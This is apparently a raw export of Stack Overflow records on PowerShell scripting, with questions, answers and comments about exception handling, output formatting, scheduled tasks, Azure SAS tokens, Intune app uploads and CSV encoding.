has body: If you look at your error, in CategoryInfo you can see the exception type being thrown: InvalidOperation: (0:Int32) [Get-ChildItem], ScriptCallDepthException So basically: [System.Management.Automation.ScriptCallDepthException]::new() And if you wanted to catch that specific exception type then you could do: try { $files = Get-ChildItem -Path $d.FullName -File -Recurse -ErrorAction SilentlyContinue } catch [System.Management.Automation.ScriptCallDepthException] { # handle call depth exception } However do note it isn't mandatory to always specify an exception type to catch, you could simply catch any exception (this essentially means, catch all types inheriting Exception): try { $files = Get-ChildItem -Path $d.FullName -File -Recurse -ErrorAction SilentlyContinue } catch { # handle any exception } Also consider that you are able to catch this exception because the cmdlet is either using ThrowTerminatingError or it wasn't handled by the cmdlet. This also explains why -ErrorAction SilentlyContinue didn't have any effect. For non-terminating errors, you would only be able to catch them if your error preference was Stop. Aside from the question, the error is likely due to the recursion used in the cmdlet, try using .NET directly if you have PowerShell 7 this will likely work properly and be much faster: $files = $d.GetFiles('*', [System.IO.EnumerationOptions]@{ RecurseSubdirectories = $true })
answers question: http://stackoverflow.com/q/79337547
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/79337547

http://stackoverflow.com/a/79400938
has comment: http://stackoverflow.com/comment/140032833
has comment: http://stackoverflow.com/comment/140027255
has comment: http://stackoverflow.com/comment/140032849
accepted answer of: http://stackoverflow.com/q/79400911
score: 4
upvote count: 4
type: AcceptedAnswer
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/79400911
has body: The easiest way to do it would be to coerce the bool property (displayed with Right alignment by default) to a string: [pscustomobject]@{ Volume = 'foo' Compression = $true -as [string] # strings always have Left alignment Dedupe = 'foo' } Another option, you can use -Property with Alignment set to Left for the bool property: [pscustomobject]@{ Volume = 'foo' Compression = $true Dedupe = 'foo' } | Format-Table Volume, @{ E = 'Compression'; Alignment = 'Left' }, Dedupe Unfortunately you also need to list the rest of the properties to be displayed. Yet another option, more complicated, is to create a custom ps1xml format file: Set-Content .\myCustomViewForMyCustomType.Format.ps1xml -Value @' <?xml version="1.0" encoding="utf-8"?> myCustomViewForMyCustomType MyCustomType <Label>Volume <Label>Compression Left <Label>Dedupe Volume Compression Dedupe '@ Then you can use Update-FormatData to add this custom format: Update-FormatData -AppendPath .\myCustomViewForMyCustomType.Format.ps1xml And lastly, if you add the special PSTypeName property with the same value used in MyCustomType , all your objects will be displayed using the specifics of that file, in this case the <Label>Compression will have Left : [pscustomobject]@{ PSTypeName = 'MyCustomType' Volume = 'foo' Compression = $true Dedupe = 'foo' } # Volume Compression Dedupe # ------ ----------- ------ # foo True foo
has comment: http://stackoverflow.com/comment/140027230

http://stackoverflow.com/comment/139822243
type: AnswerComment
comment on: http://stackoverflow.com/a/79288500
type: Comment
has text: Open a new question, that's a whole different issue.
score: 0

http://stackoverflow.com/comment/139899453
has text: you've seen this? it could help: https://github.com/microsoftgraph/msgraph-sdk-powershell/issues/1622
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79334181

http://stackoverflow.com/q/79301601
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/79302035
score: 0
has body: I've created a simple c# Powershell cmdlet project to replicate my issue. The cmdlet uses System.Security.Cryptography.ProtectedData.Protect(). When running in Xunit, the cmdlet runs successfully, but when importing the module in pwsh console the System.Security.Cryptography.ProtectedData assembly cannot be found. Import-Module .\TestProtectedDataPowershell.dll Test-ProtectData -NotSecret "some text here" Throws exception Exception : Type : System.IO.FileNotFoundException Message : Could not load file or assembly 'System.Security.Cryptography.ProtectedData, Version=9.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'. The system cannot find the file specified. FileName : System.Security.Cryptography.ProtectedData, Version=9.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a TargetSite : Name : Protect DeclaringType : [TestProtectedDataPowershell.DataProtectionUsingDPAPI] MemberType : Method Module : TestProtectedDataPowershell.dll Source : TestProtectedDataPowershell HResult : -2147024894 StackTrace : at TestProtectedDataPowershell.DataProtectionUsingDPAPI.Protect(String unencryptedString) at TestProtectedDataPowershell.TestProtectDataCmdlet.BeginProcessing() in c:\temp\TestProtectedData\TestProtectedData\TestProtectedDataPowershell\TestProtectDataCmdlet.cs:line 19 at System.Management.Automation.Cmdlet.DoBeginProcessing() at System.Management.Automation.CommandProcessorBase.DoBegin() CategoryInfo : NotSpecified: (:) [Test-ProtectData], FileNotFoundException FullyQualifiedErrorId : System.IO.FileNotFoundException,TestProtectedDataPowershell.TestProtectDataCmdlet InvocationInfo : MyCommand : Test-ProtectData ScriptLineNumber : 1 OffsetInLine : 1 HistoryId : 10 Line : Test-ProtectData -NotSecret "some text here" Statement : Test-ProtectData -NotSecret "some text here" PositionMessage : At line:1 char:1 + Test-ProtectData -NotSecret "some text here" + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ InvocationName : Test-ProtectData CommandOrigin : Internal Scri…
has title: Receiving error when trying to use System.Security.Cryptography.ProtectedData in a C# Powershell Cmdlet Module
type: Question
tagged with: powershell
answer count: 1

http://stackoverflow.com/comment/139800135
comment on: http://stackoverflow.com/q/79279207
score: 0
type: QuestionComment
has text: Can you also include the error?
type: Comment

http://stackoverflow.com/comment/139832824
score: 0
comment on: http://stackoverflow.com/q/79296217
type: QuestionComment
type: Comment
has text: what you get from a scriptblock that doesnt produce a output is `[System.Management.Automation.Internal.AutomationNull]::Value`. The value is an empty `PSObject`. The reason `.GetType()` work is because of the logic used for `.Copy()` which creates a `[psobject]::new()`

http://stackoverflow.com/comment/139869332
has text: Thank you, Mathias. Although it checks the default profile, I still see duplicate profiles from other instances.
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/79317800

http://stackoverflow.com/q/79265430
type: Question
answer count: 0
tagged with: scheduled-tasks
has body: I create a sheduled task with a powershell script : $DateTS = (Get-Date).adddays(1).ToString('yyyy-MM-ddTHH:mm:ss') Invoke-Command -Credential $CREDS -ComputerName $PC.DNSHostName -UseSSL -ScriptBlock { param($DateTS, $ADMIN, $PC) $Actions = (New-ScheduledTaskAction -Execute "net" -Argument "user $ADMIN /delete") $Trigger1 = New-ScheduledTaskTrigger -daily -At $DateTS $Principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest $Task = New-ScheduledTask -Action $Actions -Principal $Principal -Trigger $Trigger1 Register-ScheduledTask -TaskName "Disable" -TaskPath \Microsoft\Windows\BitLocker -InputObject $Task } -ArgumentList ($DateTS, $ADMIN, $PC) } Scheduled task shall be launched one day after creation or day after if Pc is off. But TS never launched. I get error 0x800710E0 adn id event 153 (Task Scheduler did not launch task "\xxx" as it missed its schedule. Consider using the configuration option to start the task when available, if schedule is missed." Can you help me? Regards. Alex. EDIT : Strange, on a VM, i get the issue but on my physical computer, it works.
tagged with: powershell
score: 0
type: UnansweredQuestion
has title: Powershell : Scheduled task not running, error 0x800710E0 and id event 153

race-condition
type: Tag
tags question: http://stackoverflow.com/q/79265633
tag name: race-condition

http://stackoverflow.com/comment/139980798
has text: Check the below answer.
comment on: http://stackoverflow.com/q/79375029
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79409891
has comment: http://stackoverflow.com/comment/140056677
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/140067591
has comment: http://stackoverflow.com/comment/140052270
tagged with: powershell
score: 0
has title: How to turn PowerShell Output into a File
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/140049224
has body: I'm just starting to immerse myself in scripting. I borrowed a Health Check script from online and tailored it for my specific environment. The script works, but I'd like it to push the console output to file. Any help is welcome. This is the script # Windows Health Check and Repair Script $Computers = Import-Csv "C:\Users\NetlonAdmin\Computers.csv" foreach ($Computer in $Computers){ Invoke-Command -COMPUTER $Computer.Name -ScriptBlock { & cmd /c "DISM.exe" /Online /Cleanup-Image /RestoreHealth & cmd /c "sfc.exe" /scannow & cmd /c "chkdsk.exe" } }

http://stackoverflow.com/a/79272415
score: 0
answers question: http://stackoverflow.com/q/79269478
has body: To resolve this, I avoided directly using [url] from a table (which was populated by the package_show endpoint). Instead, I leveraged the datastore_search API with pagination to fetch the data for each resource. By passing the resource_id explicitly in the RelativePath and Query options of Web.Contents, I ensured the data source is considered static by Power BI. Original Code (Dynamic URL from Table): Web.Contents([url], [Delimiter=",", Encoding=65001, QuoteStyle=QuoteStyle.None]) Updated Code (Using API with Pagination): Web.Contents( "https://donnees.montreal.ca", [ RelativePath = "/api/3/action/datastore_search", Query = [ resource_id = ResourceId, limit = "1000", offset = Text.From(OffsetValue) ] ] ) This approach avoids using [url] from the table and instead retrieves data directly from the API in a predictable and static manner, allowing the dataset to refresh successfully in Power BI Service.
type: Answer

http://stackoverflow.com/comment/139950668
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79359037
has text: Hev you tried to *not* encapsulating the lookup_colums result? `$LookupColumns = $importActionConfig.'lookup_columns'`? Also always put `$null` on the left side of a comparison, it saves some auto-convert shenanigans headaches.
type: QuestionComment

http://stackoverflow.com/comment/139801408
comment on: http://stackoverflow.com/q/79276698
score: 1
has text: I'll update the question with these comments in mind.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140159063
has text: Format code correctly
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79472970
type: AnswerComment

http://stackoverflow.com/q/79292665
has comment: http://stackoverflow.com/comment/139825216
score: 1
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/139825230
tagged with: apim
type: Question
has title: New-AzApiManagementSubscription in Powershell to create a Subscription in Azure APIM
downvote count: 0
has body: I try to create a subscription in Azure APIM with: New-AzApiManagementSubscription -Context $Context -Name "test-01" -Scope "/products/test-ericf" -Verbose but always receive error message: New-AzApiManagementSubscription: Error Code: ValidationError Error Message: One or more fields contain incorrect values: Request Id: 7fc113c3-83af-4c6d-9e50-6825aefb3817 Error Details: [Code= ValidationError, Message= Invalid field 'ownerId' specified, Target= ownerId] Any ideas? I also tried with -debug, and got the error: New-AzApiManagementSubscription: Error Code: ValidationError Error Message: One or more fields contain incorrect values: Request Id: c6a6e092-66ac-4886-9569-d9a6c8e7cb17 Error Details: [Code= ValidationError, Message= Invalid field 'ownerId' specified, Target=
tagged with: powershell
answer count: 1
type: UnansweredQuestion
tagged with: azure
has answer: http://stackoverflow.com/a/79293088

http://stackoverflow.com/comment/139952177
type: QuestionComment
type: Comment
score: 0
has text: Get date the -f option is a format not a date : $startdate = get-date -f 10-16-2024. You second option should work $startDate = (Get-Date).AddDays(-90). Since you are only getting two items try without the option -RecordType 20 to see if you get more items. You may only have two items of type 20.
comment on: http://stackoverflow.com/q/79360943

http://stackoverflow.com/comment/139775338
has text: `$fs = @([System.IO.StreamWriter]::new($filePath); Start-Sleep 1)` is a completely unfair test. `Start-Sleep` allows interrupts and a ctor that gets a handle unless it had a `CreateAsync` would never allow such thing.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79265633

http://stackoverflow.com/comment/139879880
score: 0
comment on: http://stackoverflow.com/a/79317868
type: AnswerComment
has text: thank you for helping. The code works good - I had to cut of "-file" ----------------------------- Get-ChildItem : Es wurde kein Parameter gefunden, der dem Parameternamen "File" entspricht. In C:\temp\suche.ps1:1 Zeichen:78 + ... -ChildItem -Path 'D:\Test' -Filter '*Beispiel*' -Recurse -File -Force ...... more text ------------- Sorry because of the confusion. "filer" is our slang word for a fileserver. Our share, I'm searching on is 3TB :-)
type: Comment

http://stackoverflow.com/comment/139947294
comment on: http://stackoverflow.com/q/79359037
type: QuestionComment
has text: Its a powershell module for importing an excel spreadsheet into powershell
type: Comment
score: 0

http://stackoverflow.com/comment/139967459
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79369758
type: QuestionComment
has text: Does your server account (or proxy account if you run under such) have access to the provided share?

sas-token
type: Tag
tag name: sas-token
tags question: http://stackoverflow.com/q/79279965

http://stackoverflow.com/comment/139954477
comment on: http://stackoverflow.com/a/79361771
type: Comment
score: 0
type: AnswerComment
has text: @MathiasR.Jessen, a little bit of narration ;-) But to be more serious, I didn't know about it earlier, so the story in question is for real.

http://stackoverflow.com/comment/139786117
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/79271171
has text: The official docs [here](https://learn.microsoft.com/en-us/powershell/module/msonline/get-msolcompanyinformation?view=azureadps-1.0#outputs) do list `DapEnabled` as property of the output. Perhaps different versions?
type: Comment

http://stackoverflow.com/q/79286415
has title: Problems running Powershell code within Batch file
type: Question
duplicate of: http://stackoverflow.com/q/69438245
downvote count: 0
has body: In this question It's said that using the following code ought to create a clean execution of powershell code: PowerShell ^ $BIOS= Get-WmiObject -computername \"BAHRIATSG2-PC\" -Namespace; ^ root/hp/instrumentedBIOS -Class HP_BIOSSettingInterface; ^ $BIOS.SetBIOSSetting('Setup Password','<utf-16/>TheBIOSPassword','<utf-16/>') pause It's mentioned that any " needs to be preceded by a \ and each command needs to be followed by ; ^ except the last one.. Anyway, here's the code I'm trying to get working. It's to switch a Firewall rule off and on, then to change the icon of the shortcut that runs the batch file containing the code: netsh advfirewall firewall show rule name="OBRule" | findstr "^Enabled:.*Yes$" if %errorlevel% == 0 ( netsh advfirewall firewall set rule name="OBRule" new enable=no ren S:\Libraries\Desktop\OutboundON.lnk OutboundOFF.lnk echo OUTBOUND RULE DISABLED! @echo off PowerShell ^ $shortcutPath = \"S:\Libraries\Desktop\OutboundOFF.lnk\"; ^ $iconPath = \"C:\Windows\System32\Customization\Icons\OBOFF.ico\"; ^ $WsShell = New-Object -ComObject WScript.Shell; ^ $shortcut = $WsShell.CreateShortcut($shortcutPath); ^ $shortcut.IconLocation = $iconPath; ^ $shortcut.Save(); ) else ( netsh advfirewall firewall set rule name="OBRule" new enable=yes ren S:\Libraries\Desktop\OutboundOFF.lnk OutboundON.lnk echo OUTBOUND RULE ENABLED! @echo off PowerShell ^ $shortcutPath = \"S:\Libraries\Desktop\OutboundON.lnk\"; ^ $iconPath = \"C:\Windows\System32\Customization\Icons\OBON.ico\"; ^ $WsShell = New-Object -ComObject WScript.Shell; ^ $shortcut = $WsShell.CreateShortcut($shortcutPath); ^ $shortcut.IconLocation = $iconPath; ^ $shortcut.Save(); ) pause The codes work flawlessly in their respective native environments,but when I run the script like this (with the supposedly correct powershell formatting) in a .bat file it flashes a cmd prompt for a fraction of a second but does nothing at all. I have also tried this format: Powershell.exe -executionpolicy bypass -noprofile …
tagged with: powershell
has answer: http://stackoverflow.com/a/79286493
has comment: http://stackoverflow.com/comment/139813671
linked to: http://stackoverflow.com/q/46070152
linked to: http://stackoverflow.com/q/69438245
type: UnansweredQuestion
score: 1
tagged with: hybrid
upvote count: 1
has comment: http://stackoverflow.com/comment/139813261
has comment: http://stackoverflow.com/comment/139813422
tagged with: batch-file
answer count: 2
has comment: http://stackoverflow.com/comment/139815030
has answer: http://stackoverflow.com/a/79286523
favorite count: 0

http://stackoverflow.com/a/79323890
type: Answer
answers question: http://stackoverflow.com/q/79323653
score: 0
has body: I solved the "problem", i did not realize that for each job azure creates a new windows client. The atomic red team tests ran on a different client which was not enrolled in the fleet server.

http://stackoverflow.com/q/79288185
type: Question
answer count: 1
tagged with: powershell
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/79288500
has body: I'm trying to modify the text color output of this awesome script. I just want the text for Critical Red background cells to be white. What am I doing wrong here? If I get flamed for posting huge glob of code, I totally understand. I've tried earnestly to update this but I'm horrific at coding. # Set your warning and critical thresholds $percentWarning = 90; #wildly increased for testing critical threshold $percentCritcal = 95; #wildly increased for testing # REPORT PROPERTIES # Path to the report $reportPath = "C:\scripts\diskspace\Report\"; # Report name $reportName = "DiskSpaceRpt_$(get-date -format ddMMyyyy).html"; # Path and Report name together $diskReport = $reportPath + $reportName #Set colors for table cell backgrounds $redColor = "#FF0000" $orangeColor = "#FBB917" $FontColor = "#000000" $fontcolorwhite = "#FFFFFF" # Count if any computers have low disk space. Do not send report if less than 1. $i = 0; # Get computer list to check disk space $computers = Get-Content "C:\scripts\diskspace\servers.txt"; $datetime = Get-Date -Format "MM-dd-yyyy_HHmmss"; # Remove the report if it has already been run today so it does not append to the existing report If (Test-Path $diskReport) { Remove-Item $diskReport } # Cleanup old files.. $Daysback = "-7" $CurrentDate = Get-Date; $DateToDelete = $CurrentDate.AddDays($Daysback); Get-ChildItem $reportPath | Where-Object { $_.LastWriteTime -lt $DatetoDelete } | Remove-Item; # Create and write HTML Header of report $titleDate = get-date -uformat "%m-%d-%Y - %A" $header = " DiskSpace Report ghostinthewires Internal DiskSpace Report for $titledate " Add-Content $diskReport $header # Create and write Table header for report $tableHeader = " Server Drive Drive Label Total Capacity(GB) Used Capacity(GB) Free Space(GB) Freespace % " Add-Content $diskReport $tableHeader # Start processing disk space reports against a list of servers foreach($computer in $computers) { $disks = Get-WmiObject -ComputerName $computer -Class Win32_LogicalD…
has title: Diskspace Report HTML Text Color Output
accepted answer: http://stackoverflow.com/a/79288500

http://stackoverflow.com/comment/139831856
score: 1
type: QuestionComment
has text: Normally a PowerShell user doesn't need the *hidden* `PSObject` property or differentiate between a `$null` and an **enumerable null**, so please explane (in the question) why you are in need to differentiate between them.
type: Comment
comment on: http://stackoverflow.com/q/79296217

http://stackoverflow.com/comment/139801144
has text: Also note that .NET fundamentally doesn't support _unloading_ assemblies.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79279210
score: 0

http://stackoverflow.com/q/79279965
has title: Generating SAS account token in powershell
type: Question
tagged with: sas-token
has body: "I generated a token using Azure and it’s working, but I need to create a correct script in PowerShell using the key. The stringToSign I generated is different from the one provided by Azure, and azcopy gives me a 403 Server failed to authenticate the request error. The base for the script is: https://learn.microsoft.com/en-us/rest/api/storageservices/create-account-sas https://learn.microsoft.com/en-us/rest/api/eventhub/generate-sas-token # Azure Storage Account Details $storageAccountName = "name" $storageAccountKey = "key" $baseUrl = "https://$storageAccountName.blob.core.windows.net" # SAS Token parameters $permissions = "rwdlacup" # Read, write, delete, list, add, create, update, process $serviceVersion = "2022-11-02" # API version $expiryDate = "2024-12-13T22:41:13Z" # Token expiry $startDate = "2024-12-13T14:41:13Z" # Start time $signedServices = "bqtf" # Blob, Queue, Table, File $signedResourceTypes = "sco" # Service, Container, Object $signedIP = "" # No specific IP restriction $signedProtocol = "https" # Only HTTPS # Create the string-to-sign $stringToSign = "$storageAccountName\n$permissions\n$signedServices\n$signedResourceTypes\n$startDate\n$expiryDate\n$signedIP\n$signedProtocol\n$signedversion" # Compute HMAC SHA-256 $hmac = New-Object System.Security.Cryptography.HMACSHA256 $hmac.Key = [Convert]::FromBase64String($storageAccountKey) $sig = [Convert]::ToBase64String($hmac.ComputeHash([Text.Encoding]::UTF8.GetBytes($stringToSign))) # Construct SAS token $sasToken = "?sv=$serviceVersion&ss=$signedServices&srt=$signedResourceTypes&sp=$permissions&se=$expiryDate&st=$startDate&spr=https&sig=$sig" # Full URL with SAS token $fullUrl = "$baseUrl/$sasToken" I tried different types of stringToSign, but the SAS token is still different and results in the same error. The SAS token generation is not matching, and I receive the 403 Server failed to authenticate the request error. I have tried using various stringToSign formats, but none have worked as expected.
tagged with: powershell
answer count: 1
type: AnsweredQuestion
tagged with: azure
tagged with: azure-storage
has comment: http://stackoverflow.com/comment/139801527
score: 0
has comment: http://stackoverflow.com/comment/139802249
accepted answer: http://stackoverflow.com/a/79280400
tagged with: azure-powershell
has answer: http://stackoverflow.com/a/79280400

http://stackoverflow.com/comment/139945623
type: QuestionComment
type: Comment
score: 0
has text: @WalterMitty Thank you. I have now listed all the properties You said that DapEnabled is not a property, however, if you type ('Get-MsolCompanyInformation | get-member -type property') it shows this property does exist.
comment on: http://stackoverflow.com/q/79271171

dts
type: Tag
tags question: http://stackoverflow.com/q/79292138
tag name: dts

http://stackoverflow.com/comment/139965408
has text: So, if I understand the issue correctly, you only get `"$file does not exist in $bDir."` as a result for every `$file`?
comment on: http://stackoverflow.com/q/79368281
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79304198
score: 2
downvote count: 0
tagged with: powershell
tagged with: powershell-2.0
has body: I am trying to create an LOB [.ipa] app at Intune by calling Graph API through Powershell 2. I am able to create the application at Intune but when I try to upload an ipa file, I receive: Bad Request : 400 error. Below is code snippet: $tenantId = "XXXXXXXXXXXXXXXXXXX" $clientId = "XXXXXXXXXXXXXXXXXXXX" $clientSecret = "XXXXXXXXXXXXXXXXXXX" $appPath = "./Path to .ipa file" ## Relative Path $resource = "https://graph.microsoft.com/" $authUrl = "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" $authBody = @{ client_id = $clientId client_secret = $clientSecret scope = "https://graph.microsoft.com/.default" grant_type = "client_credentials" } $tkResponse = Invoke-RestMethod -Method Post -Uri $authUrl -ContentType "application/x-www-form-urlencoded" -Body $authBody $origToken = $tkResponse.access_token $initialheaders = @{ Authorization = "Bearer $origToken" "Content-Type" = "application/json" } $body = @{ "@odata.type" = "#microsoft.graph.iosLobApp" displayName = "Test" bundleId = "self.test.sample.app" buildNumber = "1.0.0" versionNumber = "1.0.0" description = "Test description" publisher = "Test Publisher" fileName = "Test.ipa" committedContentVersion = "1" informationUrl = "https://yourappwebsite.com" privacyInformationUrl = "https://yourappwebsite.com/privacy" minimumSupportedOperatingSystem = @{ v8_0 = $true } applicableDeviceType = @{ iPad = $true iPhoneAndIPod = $true } } $mobJson = $body | ConvertTo-Json -Depth 10 $graphApiUrl = "https://graph.microsoft.com/v1.0/deviceAppManagement/mobileApps" try{ $response = Invoke-RestMethod -Method Post -Uri $graphApiUrl -Headers $initialheaders -Body $mobJson -ErrorAction Stop -verbose $applicationId = $response.id } catch { Write-Host "$($_.Exception.Response.StatusCode)" } ` $fileUpUrl = "https://graph.microsoft.com/v1.0/deviceAppManagement/mobileApps/$applicationId/contentVersions/1/files" $fContent = [System.IO.File]::ReadAllBytes($appPath) $baseContent = [Convert]::ToBase64String($fContent) $contheaders …
tagged with: microsoft-graph-intune
answer count: 1
tagged with: intune
has comment: http://stackoverflow.com/comment/139849983
upvote count: 2
has answer: http://stackoverflow.com/a/79313784
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139845865
has title: Bad Request 400 error while using Invoke Rest Post method of Graph API for uploading ipa file
has comment: http://stackoverflow.com/comment/139847316
favorite count: 0
type: Question

http://stackoverflow.com/comment/139911118
has text: Start by _reading_ the existing file, then assign each of the three blocks to the 3 variables - _then_ do your update logic. If an environment wasn't updated you'll simply be writing back the original content to disk.
comment on: http://stackoverflow.com/q/79340316
type: QuestionComment
score: 2
type: Comment

http://stackoverflow.com/q/79304087
linked to: http://stackoverflow.com/q/59503104
type: Question
has body: I have a script (please see Original Script below) which extracts a list of filepaths in a directory and outputs the list to a csv, along with various file metadata. When I open the csv, I put the data into the appropriate columns by first replacing "," and ," with a rare character (such as ∞), then running text-to-columns based on ∞. I'd like to eliminate the find-replace/text-to-column steps - do you know how I can do so? Here is what I have tried: Remove -Encoding Unicode. This solves my problem, but creates another. It solves the problem in the sense that when I open the csv in Excel, the data is automatically sorted into columns but it creates another in that it also replaces any unusual characters in the file path with question marks. I later use the filepath for a move command, so this solution is unacceptable. Modify the last line to be $a = Get-FolderItem "Z:\Folder" | Export-Csv -Path C:\Folder\2024-12-23Testing.csv -Encoding Unicode -Delimiter ','. This doesn't work. Put the "find and replace" step into Powershell by adding the following lines to the end of the script: (Get-Content C:\Folder\2024-12-23Testing.csv).Replace('","', '¬') | Set-Content C:\Folder\2024-12-23Testing.csv (Get-Content C:\Folder\2024-12-23Testing.csv).Replace(',"', '¬') | Set-Content C:\Folder\2024-12-23Testing.csv This works, but still requires a time-consuming "text-to-columns" step. I also tried various unicode delimiters, but they did not result in automatic columns. Original Script Function Get-FolderItem { [cmdletbinding(DefaultParameterSetName='Filter')] Param ( [parameter(Position=0,ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True)] [Alias('FullName')] [string[]]$Path = $PWD, [parameter(ParameterSetName='Filter')] [string[]]$Filter = '*.*', [parameter(ParameterSetName='Exclude')] [string[]]$ExcludeFile, [parameter()] [int]$MaxAge, [parameter()] [int]$MinAge ) Begin { $params = New-Object System.Collections.Arraylist $params.AddRange(@("/L","/E","/NJH","/BYTES","…
has comment: http://stackoverflow.com/comment/139847892
tagged with: powershell
tagged with: export-to-csv
answer count: 1
type: AnsweredQuestion
has title: How make Excel recognize data columns on a Unicode CSV?
tagged with: unicode
score: 0
has comment: http://stackoverflow.com/comment/139845418
has answer: http://stackoverflow.com/a/79304274
accepted answer: http://stackoverflow.com/a/79304274
tagged with: directory
has comment: http://stackoverflow.com/comment/139845459

http://stackoverflow.com/comment/140005622
type: AnswerComment
type: Comment
has text: you are right, the error comes from here ` (call :concat "C:\Users\HP\Downloads\kafka_2.13-3.9.0\libs\scala-library-2.13.14.jar" ) The input line is too long. The syntax of the command is incorrect. `
score: 0
comment on: http://stackoverflow.com/a/79390025

code-reuse
tags question: http://stackoverflow.com/q/79377371
tag name: code-reuse
type: Tag

ssis
tags question: http://stackoverflow.com/q/79292138
tag name: ssis
type: Tag
tags question: http://stackoverflow.com/q/79523314

http://stackoverflow.com/comment/139992363
score: 0
comment on: http://stackoverflow.com/q/79382069
type: QuestionComment
type: Comment
has text: The MSEndpointMgr.com post does not seem to talk about the Add-Printer cmdlet

http://stackoverflow.com/comment/140005181
has text: good catch, I updated the answer
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79386358

http://stackoverflow.com/comment/139964564
has text: My HandleKeyDown is now more robust and accept keypad keys (without databinding Suduko is complete). However this is not the cause of the issue. Try making a simple window with a button that increments a value, and use data-binding to display the value. This test works. (Drop ezXAML.ps1 into Chat GPT and ask for it.) Try insead a "Press any number" textblock and a ezKeyDown,on it instead of the button (add the validated number pressed instead of increment by 1) This will error out. Write-Host at the end of our function will show the variable being correctly updated when you press a number,
type: Comment
comment on: http://stackoverflow.com/a/79358753
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139946328
type: QuestionComment
type: Comment
score: 0
has text: This is exactly what I'm asking how to do. I tried every possible `ConvertFrom-Json` and `-InputObject` I could think of and chat ChatGPT recommended me, but never could get it to work when referencing from the Variable Group.
comment on: http://stackoverflow.com/q/79343590

http://stackoverflow.com/comment/139810481
comment on: http://stackoverflow.com/q/79284952
has text: Have you tried providing the explicit Version? So something along this: Install-Package Microsoft.EntityFrameworkCore.Tools -Version 8.0.0 Please make sure that you use the correct version. Latest stable is 9.0.0 I think the reason is that its downloading such old versions that it goes into the deadlock because most of it is deprecated
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79401238
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/140030563
type: Answer
answers question: http://stackoverflow.com/q/79400862
upvote count: 2
has comment: http://stackoverflow.com/comment/140030198
has body: Unless there is a way to capture the error caused further up the pipeline, this workaround did the job for my purposes. $getToken = [System.Security.Principal.WindowsIdentity]::GetCurrent() $groupSIDs = $getToken.Groups $getGroups = foreach($sid in $groupSIDs) { try { (($sid).Translate([System.Security.Principal.NTAccount]).Value) + &quot; ($sid)&quot; } catch { $sid.Value } } $getToken | Select-Object Name, @{n='Groups';e={$getGroups}} | ConvertTo-Html -As List -Fragment UPDATE: Since I have already defined [System.Security.Principal.WindowsIdentity]::GetCurrent() in the variable $getToken, I might as well re-use it where appropriate.

http://stackoverflow.com/a/79256249
has comment: http://stackoverflow.com/comment/139789602
downvote count: 0
has body: As suggested you can just use the -NoDriveLetter parameter to stop it from mounting the ISO as a drive. Then you can get the volume for it, use the path of that, and just list things. This doesn't seem to work in the ISE for me, but it works fine in PowerShell v5 console. Here's a slightly modified version of your function function Get-IsoContents { param ( [string]$IsoPath ) # Verify the file exists if (-not (Test-Path $IsoPath)) { Write-Error "ISO file not found: $IsoPath" return } try { # Mount the ISO image $mountResult = Mount-DiskImage -ImagePath $IsoPath -PassThru -NoDriveLetter # Get the volume information $volume = $mountResult | Get-Volume # Check if volume was successfully retrieved if (-not $volume) { Write-Error "Could not retrieve volume information" return } Get-ChildItem -LiteralPath $volume.Path -Force | Select-Object -ExpandProperty Name } catch { Write-Error "Error accessing ISO contents: $_" } finally { # Ensure the ISO is dismounted if ($mountResult) { Dismount-DiskImage -ImagePath $IsoPath | Out-Null } } } # Usage example Get-IsoContents -IsoPath "C:\Users\iso.iso"
type: Answer
answers question: http://stackoverflow.com/q/79253460
upvote count: 1
has comment: http://stackoverflow.com/comment/139800109
score: 1

http://stackoverflow.com/comment/139871203
has text: @mklement0, this Windows instance is on Google Computer Engine, and eventually I need it to run as https://cloud.google.com/compute/docs/instances/startup-scripts/windows. However, the current issue probably will repro everywhere though(I don't have any other Windows instance at hands to verify). And yes, I forgot to mention I also tried `-WorkingDirectory 'C:\temp'`, that did not help.
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79318657

http://stackoverflow.com/comment/139994770
score: 0
has text: Interesting, so from the ISE I can get the culture the actual user has set, but from the console I have to set it myself? That's pretty useless if I have a script that is in use globally and I just want to give the user a date and time in a log that's in their native format.
comment on: http://stackoverflow.com/a/79383869
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/139918119
has text: Is the behavior different in the second code snippet if you move the variable group reference out of the `New-AzResourceGroupDeployment` invocation? e.g. use `$WebAppEnvironmentVariables = $(VariablesObject1)` followed by `New-AzResourceGroupDeployment -ResourceGroupName $ResourceGroupName ... -TemplateParameterObject @{ "EnvironmentVariables" = $WebAppEnvironmentVariables }`
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79343590

http://stackoverflow.com/q/79248512
answer count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139744750
has answer: http://stackoverflow.com/a/79248602
